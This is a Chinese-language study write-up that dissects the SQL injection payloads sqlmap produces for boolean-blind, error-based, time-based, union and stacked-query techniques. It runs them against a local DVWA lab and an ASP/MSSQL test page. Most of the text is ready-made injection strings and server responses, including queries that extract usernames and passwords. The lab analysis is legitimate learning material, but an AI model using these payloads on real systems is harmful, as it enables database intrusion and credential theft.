###前言
本文介绍sqlmap在各个场景中的payload格式,简单分析判断的的原理,也是自己学习过程中的记录。

在看本文前,建议看一下drops中的其它文章,源码分析,对-v 3 参数显示出来的东西会有比较好的理解。

环境

  • B E T U : php+mysql (dvwa)
  • S : asp + mssql

###B
####0x01流程分析
sqlmap.py -u "http://127.0.0.1/DVWA-1.9/vulnerabilities/sqli/?id=123&Submit=Submit#" --tech B -p id -v 3 --dbms "Mysql" --flush-session --cookie "security=low; CNZZDATA1257510053=1751803475-1462610971-%7C1462681102; PHPSESSID=a3iles3srfnq3ar1hs3uuleo60"

首先sqlmap会设置环境参数、检查waf、探测编码等等...这些细节我们就先不具体讨论了。drops中的其它文章说的很好(其实我读过一遍也不是完全记得这些细节,大概有些印象),本文重点放在各个场景的payload的分析上,看看是各个场景是怎么出判断的。

根据可注入的参数id检测到注入的类型之后,sqlmap就会用开始读数据。

####0x02 --dbs

  • 第一步:获取数据库的大小

举其中一个说明:(原始数据见上图)

123 OR NOT ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51#;

函数:

ORD() 函数返回字符串的首个字符的 ASCII 值。

MID(column_name,start[,length]) 函数用于从文本字段中提取字符。

IFNULL(expr1,expr2) 如果 expr1 不是 NULL,IFNULL() 返回 expr1,否则它返回 expr2。

CAST (expression AS data_type) CAST函数用于将某种数据类型的表达式显式转换为另一种数据类型。

若ORD()返回为1,说明函数里面判断正确。此时服务器返回的内容和payload为123时相同,页面没有变化。

payload的意思是,从INFORMATION_SCHEMA.SCHEMATA中计算不重复的schema_name的个数,cast函数将之转化成char类型,isnull函数判断当前是否为空,如果不为空就返回,否则返回空(0x20),mid函数从当前的char类型的数据中截取1位,ord函数将其转化为ascii判断。

数字的ASCII 48-57,正确的得到当前数字需要4次请求。(2^4>10)

ORD(... ,X,1) X从1变化到2,判断第二位的时候出错(>48页面变化,判断出错),说明当前dbs的数量的长度只有一位。

成功得到当前数据库大小为7。

  • 第二步:获取数据库名

数据库的大小为7,那么就要获取7个数据库的名字。

数据库的名字还是存放在mysql的information_schema中。

假设第二个数据库的名字是dwva,那么读出这个名字,一共要读4个字符。(第一个数据库是information_schema,不好截图,用dwva来演示)

每个字符的ascii(0-127),需要判断7次。读出dvwa按理就要判断7*4次。

看具体payload:

123 OR NOT ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1),1,1))>64#;

LIMIT 1,1意思是取出第二个数据库。

MID(...,1,1)意思是判断当前的第一位,原理同上。

这里需要注意的是,dvwa是4位,但是MID从(...,1,1)变化到了MID(...,5,1),其实也很好理解,最后一次判断失败,因为sqlmap不知道数据库名的长度,所以只好多判断一位,判断失败来结束。

####0x03 其它
-D dvwa --tables
获得table的数量
123 OR NOT ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x64767761),1,1))>51#;
获得table的名字
123 OR NOT ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x64767761 LIMIT 0,1),1,1))>64#;

-D dvwa -T users --columns
获得columns的数量
123 OR NOT ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761),1,1))>51#;
获得columns的名字
123 OR NOT ORD(MID((SELECT IFNULL(CAST(column_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761 LIMIT 0,1),1,1))>64#;
获得columns的类型
123 OR NOT ORD(MID((SELECT IFNULL(CAST(column_type AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND column_name=0x757365725f6964 AND table_schema=0x64767761),1,1))>64#;

-D dvwa -T users -C users,password
获取users表的大小
123 OR NOT ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM dvwa.users),1,1))>51#;
获取第一个user,password
user
123 OR NOT ORD(MID((SELECT IFNULL(CAST(`user` AS CHAR),0x20) FROM dvwa.users ORDER BY `user` LIMIT 0,1),1,1))>64#;
password
123 OR NOT ORD(MID((SELECT IFNULL(CAST(password AS CHAR),0x20) FROM dvwa.users ORDER BY `user` LIMIT 0,1),1,1))>64#;

###E
基于报错的原理可以看drops的这篇文章:http://drops.wooyun.org/tips/14312

sqlmap.py -u "http://127.0.0.1/DVWA-1.9/vulnerabilities/sqli/?id=123&Submit=Submit#"   --tech E --dbs -p id    -v 3  --dbms "Mysql" --flush-session --cookie "security=low; CNZZDATA1257510053=1751803475-1462610971-%7C1462681102; PHPSESSID=a3iles3srfnq3ar1hs3uuleo60"

补充:sqlmap如何根据报错拿到数据的呢?举例:

SELECT first_name, last_name FROM users WHERE user_id = 123 AND (SELECT 5399 FROM(SELECT COUNT(*),CONCAT(0x716b787871,(SELECT (ELT(5399=5399,1))),0x7176767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);

服务器返回:

Duplicate entry 'qkxxq1qvvpq1' for key 'group_key'

qkxxq和qvvpq是随机生成的,sqlmap根据报错的服务器返回,再根据正则表达式,获取qkxxq和qvvpq中的内容,此处中间的内容是1,说明报错注入是可以用的。

读取数据的过程如下:

在利用报错读取数据之前,sqlmap需要searching for error chunk length,这length是干嘛用的呢?

简单的说,就是报错返回的内容不可能是很长很长的,肯定有长度限制。

从1024逐渐减小,获取该length

SELECT first_name, last_name FROM users WHERE user_id = 123 AND (SELECT 8020 FROM(SELECT COUNT(*),CONCAT(0x716b787871,(SELECT REPEAT(0x34,1024)),0x7176767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);

SELECT first_name, last_name FROM users WHERE user_id = 123 AND (SELECT 5372 FROM(SELECT COUNT(*),CONCAT(0x716b787871,(SELECT REPEAT(0x32,512)),0x7176767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);

SELECT first_name, last_name FROM users WHERE user_id = 123 AND (SELECT 3339 FROM(SELECT COUNT(*),CONCAT(0x716b787871,(SELECT REPEAT(0x36,256)),0x7176767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);
<pre>Duplicate entry 'qkxxq66666666666666666666666666666666666666666666666666666666666' for key 'group_key'</pre>

SELECT first_name, last_name FROM users WHERE user_id = 123 AND (SELECT 6409 FROM(SELECT COUNT(*),CONCAT(0x716b787871,(SELECT REPEAT(0x34,54)),0x7176767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);
<pre>Duplicate entry 'qkxxq444444444444444444444444444444444444444444444444444444qvvpq' for key 'group_key'</pre>

length=54(64-5-5)

接下来就到了激动人心的读取数据的时候啦,原理和B类似,这里给出服务器的返回信息,我们可以看到我们需要的数据是在其中的。

--dbs
获取databases的长度
SELECT first_name, last_name FROM users WHERE user_id = 123 AND 
(SELECT 9272 FROM(SELECT COUNT(*),CONCAT(0x716b787871,(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),0x7176767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);
<pre>Duplicate entry 'qkxxq7qvvpq1' for key 'group_key'</pre>

获取每一个database的名字:0-6
SELECT first_name, last_name FROM users WHERE user_id = 123 AND (SELECT 7535 FROM(SELECT COUNT(*),CONCAT(0x716b787871,(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),0x7176767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);
<pre>Duplicate entry 'qkxxqinformation_schemaqvvpq1' for key 'group_key'</pre>


-D dwva --tables
同样先获取长度再获取表名
	SELECT first_name, last_name FROM users WHERE user_id = 123 AND 
	(SELECT 9272 FROM(SELECT COUNT(*),CONCAT(0x716b787871,(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),0x7176767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);
	<pre>Duplicate entry 'qkxxq7qvvpq1' for key 'group_key'</pre>

	SELECT first_name, last_name FROM users WHERE user_id = 123 AND (SELECT 7535 FROM(SELECT COUNT(*),CONCAT(0x716b787871,(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),0x7176767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);
	<pre>Duplicate entry 'qkxxqinformation_schemaqvvpq1' for key 'group_key'</pre>

-D dvwa -T users --columns
	SELECT first_name, last_name FROM users WHERE user_id = 123 AND (SELECT 1411 FROM(SELECT COUNT(*),CONCAT(0x7176627a71,(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761),0x717a767171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);
	<pre>Duplicate entry 'qvbzq8qzvqq1' for key 'group_key'</pre>

	SELECT first_name, last_name FROM users WHERE user_id = 123 AND (SELECT 6810 FROM(SELECT COUNT(*),CONCAT(0x7176627a71,(SELECT MID((IFNULL(CAST(column_name AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761 LIMIT 0,1),0x717a767171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);
	<pre>Duplicate entry 'qvbzquser_idqzvqq1' for key 'group_key'</pre>

	SELECT first_name, last_name FROM users WHERE user_id = 123 AND (SELECT 9751 FROM(SELECT COUNT(*),CONCAT(0x7176627a71,(SELECT MID((IFNULL(CAST(column_type AS CHAR),0x20)),1,54) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761 LIMIT 0,1),0x717a767171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);
	<pre>Duplicate entry 'qvbzqint(6)qzvqq1' for key 'group_key'</pre>

-D dvwa -T users -C user,password(空的数据是我放进去的)
	SELECT first_name, last_name FROM users WHERE user_id = 123 AND (SELECT 4151 FROM(SELECT COUNT(*),CONCAT(0x71716b6271,(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM dvwa.users),0x717a717071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);
	<pre>Duplicate entry 'qqkbq6qzqpq1' for key 'group_key'</pre>

	SELECT first_name, last_name FROM users WHERE user_id = 123 AND (SELECT 1524 FROM(SELECT COUNT(*),CONCAT(0x71716b6271,(SELECT MID((IFNULL(CAST(`user` AS CHAR),0x20)),1,54) FROM dvwa.users ORDER BY `user` LIMIT 0,1),0x717a717071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);
	<pre>Duplicate entry 'qqkbq qzqpq1' for key 'group_key'</pre>

	SELECT first_name, last_name FROM users WHERE user_id = 123 AND (SELECT 4538 FROM(SELECT COUNT(*),CONCAT(0x71716b6271,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,54) FROM dvwa.users ORDER BY `user` LIMIT 0,1),0x717a717071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a);
	<pre>Duplicate entry 'qqkbq qzqpq1' for key 'group_key'</pre>

###T
payload格式:

原始payload:123 AND (SELECT * FROM (SELECT(SLEEP(5-(inner_payload))))CLid);
            接下来替换inner_payload,一般为IF条件语句,看着可能更清晰一些。

####0x01--dbs
inner_payload:

(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761),1,1))>51,0,5))

首先还是判断当前数据库的大小,
之后测试一些假的语句,payload的if语句为假(猜测这个步骤是为了网络看是否稳定)

SELECT first_name, last_name FROM users WHERE user_id = 123 AND (SELECT * FROM (SELECT(SLEEP(5-(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>313282,0,5)))))lHRc);
...继续执行一些假的语句

读出数据库的大小:

在读出数据库的大小之后,如果开启了时间优化,后来的读取数据库名的payload中,时间会变成1s。
读第一个数据库名:

注:基于时间,理论上判断一个字符要用7次,但是最后会 用!= 确认一下,一般判断一个字符需要8次。
####0x02其它

-D dwva --tables
计算表的大小:
inner_payload:
(IF(ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x64767761 LIMIT 0,1),1,1))>64,0,5))
计算每一个表名:
inner_payload:
(IF(ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x64767761 LIMIT 0,1),1,1))>64,0,5))
	
-D dwva -T users --columns
先计算表的大小:
inner_payload:
	(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761),1,1))>51,0,5))
再计算每一个表的元素:
inner_payload:
	(IF(ORD(MID((SELECT IFNULL(CAST(column_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761 LIMIT 0,1),1,1))>64,0,1))
	(IF(ORD(MID((SELECT IFNULL(CAST(column_type AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND column_name=0x757365725f6964 AND table_schema=0x64767761),1,1))>64,0,1))
	
-D dwva -T users -C user,password
先计算表的大小:
inner_payload:
	(IF(ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM dwva.users),1,1))>64,0,1))
	
再计算每一个表的元素:
inner_payload:
	(IF(ORD(MID((SELECT IFNULL(CAST(`user` AS CHAR),0x20) FROM dvwa.users ORDER BY `user` LIMIT 0,1),1,1))>64,0,1))
	(IF(ORD(MID((SELECT IFNULL(CAST(password AS CHAR),0x20) FROM dvwa.users ORDER BY `user` LIMIT 0,1),1,1))>64,0,1))

###U

联合的payload比较简单,需要注意的是,sqlmap在测试的时候,会先判断出原始的的SQL query有2个columns之后,就可以直接放payload啦~

--dbs
SELECT first_name, last_name FROM users WHERE user_id = 123 UNION ALL SELECT NULL,CONCAT(0x716b716a71,IFNULL(CAST(schema_name AS CHAR),0x20),0x716a7a7071) FROM INFORMATION_SCHEMA.SCHEMATA-- WwQf;
	
-D dwva --tables
SELECT first_name, last_name FROM users WHERE user_id = 123 UNION ALL SELECT NULL,CONCAT(0x717a7a7171,IFNULL(CAST(table_schema AS CHAR),0x20),0x71677867706a,IFNULL(CAST(table_name AS CHAR),0x20),0x717a6a7a71) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x64767761)-- PFpt;
	
-D dwva -T users --columns
SELECT first_name, last_name FROM users WHERE user_id = 123 UNION ALL SELECT NULL,CONCAT(0x7170626271,IFNULL(CAST(column_name AS CHAR),0x20),0x6e766d6f6569,IFNULL(CAST(column_type AS CHAR),0x20),0x7178786271) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x7573657273 AND table_schema=0x64767761-- UIKq;
	
-D dwva -T users -C user,password
SELECT first_name, last_name FROM users WHERE user_id = 123 UNION ALL SELECT NULL,CONCAT(0x7176626b71,IFNULL(CAST(COUNT(*) AS CHAR),0x20),0x7176717171) FROM dvwa.users-- LxuY;
SELECT first_name, last_name FROM users WHERE user_id = 123 UNION ALL SELECT NULL,(SELECT CONCAT(0x7176626b71,IFNULL(CAST(`user` AS CHAR),0x20),0x766b72677a61,IFNULL(CAST(password AS CHAR),0x20),0x7176717171) FROM dvwa.users ORDER BY `user` LIMIT 0,1)-- fGQr;

###S
mysql可以执行多条sql语句,但是php+mysql不可以。
这里有一张表可以参考:

所以我用asp+mssql测试。
现学了一下asp,asp代码贴出来吧:

SQL

create database sqltest;
   
use sqltest;
   
create table news(
id int  not null,
title varchar(50),
primary key(id)
)
   
insert into news (id,title)values('1','this is the first title');
insert into news (id,title)values('2','this is the second title');
insert into news (id,title)values('3','this is the third title');

####--dbs
sqlmap.py -u "http://127.0.0.1:81/1.asp?fname=2" -v 3 --tech S --dbs

获取数据库的大小:

在判断第一次之后,测试一些假的数值,之后再继续判断(和T类似),获取数据库的大小为6。

获取数据库名称:

payload上,mssql和mysql的函数有些区别,原理一样,就不继续分析了。

:)